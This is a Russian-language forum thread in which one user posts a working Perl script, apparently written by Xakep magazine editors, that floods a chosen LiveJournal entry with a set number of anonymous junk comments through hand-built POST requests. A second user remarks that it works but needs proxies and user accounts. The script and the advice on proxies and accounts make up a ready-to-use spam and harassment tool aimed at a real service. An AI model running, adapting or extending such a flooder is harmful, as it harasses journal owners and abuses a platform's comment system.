Флудер для ЖЖ на перле

[Winux]

Вот, наткнулся в сети, думаю пригодится:

 #!/usr/bin/perl

## ljflood.pl – Scripts for flood lj accounts by dirty comments.
## Creator: Forb (forb@real.xakep.ru), ICQ: 304211
## Idea: Forb, Pupkin_Zade (xa@real.xakep.ru). Regards, Pupkin


use IO::Socket; ## Юзаем сокеты
use Getopt::Std; ## Юзаем getopt для захвата параметров скрипта

getopt("ijbc"); ## Берем из командной строки четыре параметра

$value=$opt_i || usage("Bad id"); ## Номер линии комментариев (обязательный параметр)
$journal=$opt_j || usage("Bad journal"); ## Название журнала (обязательно)
$comment=$opt_b || 'blah-blah'; ## Сам короткий комментарий (по дефолту блах-блах )
$count=$opt_c || 10; ## И количество комментов (по дефолту 10)

$dir='/talkpost_do.bml'; ## Задаем директорию для POST’а
$usertype='anonymous'; ## Шлем анонимно!

for ($i=1;$i<=$count;$i++) { ## Открываем цикл по $count
sendcomment($i); ## И каждый раз засылаем коммент
}

exit print "EOF!\n"; ## Затем прощаемся

sub usage { ## usage() – атрибут любой программы
$reason=shift; ## Берем параметр процедуры
print "$reason\n" if $reason; ## И если он есть – пишем его
exit print "Usage $0 <-i> <-j> [-b] [-c]
Where: -i: id of comment page
\t-j: Name of LiveJournal
\t-b: Body of comment (default: blah-blah)
\t-c: Count of comments (default: 10)
"; ## Пишем прощальный синтаксис
}


sub sendcomment { ## Главная процедура – засылаем вражий коммент!
my $num=shift; ## Берем параметр процедуры
$socket=IO::Socket::INET->new("www.livejournal.com:80") || die "cant connect\n"; ## Соединяемся с ЖЖ
$socket->autoflush(1); ## Отрубаем буферизацию (на всякий случай, т.к. по дефолту она вырублена)
$post="itemid=$value&journal=$journal& usertype=$usertype&body=$comment$num&"; ## Формируем POST-запрос (делаем коммент уникальным)
$len=length($post);
$len+=1; ## Находим длину запроса (фраза + \r\n)
print $socket "POST $dir HTTP/1.1\r\n";
print $socket "Host: www.livejournal.com\r\n";
print $socket "Content-Type: application/x-www-form-urlencoded\r\n";
print $socket "Connection: Close\r\n";
print $socket "Content-Length: $len\r\n";
print $socket "\r\n$post\r\n"; ## Отправляем длинный Header
$socket->recv($msg,1024); ## И получаем килобайт данных
close($socket); ## Убедившись, что данные были приняты, закроем сокет
print "comment $num was sended\n"; ## Напишем, что работа выполнена
}

Кста, скрипт написан редакторами журнала ][акер))

 

[SaTurN]

Он левый, то есть он пашет, но там надо прокси привязать, ну и от юзеров, чтобы постил. :bang: